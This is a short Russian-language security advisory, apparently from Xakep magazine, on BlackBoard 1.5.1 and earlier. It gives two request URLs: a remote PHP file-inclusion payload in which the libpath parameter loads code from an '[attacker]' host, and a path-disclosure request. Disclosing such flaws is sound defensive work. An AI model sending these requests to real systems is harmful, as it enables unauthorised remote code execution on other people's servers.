Несколько уязвимостей в BlackBoard

Рекомендуем почитать:

Хакер #306. OAuth от и до

• Содержание выпуска
• Подписка на «Хакер»-60%

Программа: BlackBoard 1.5.1 и более ранние версии 

Удаленный пользователь может выполнить произвольные команды на целевой системе. 

1. Выполнение произвольного PHP кода: 

http://[target]/bb_lib/checkdb .inc.php?libpath=http://[attacker]/

2. Раскрытие пути: 

http://[target]/bb_lib/checkdb.inc.php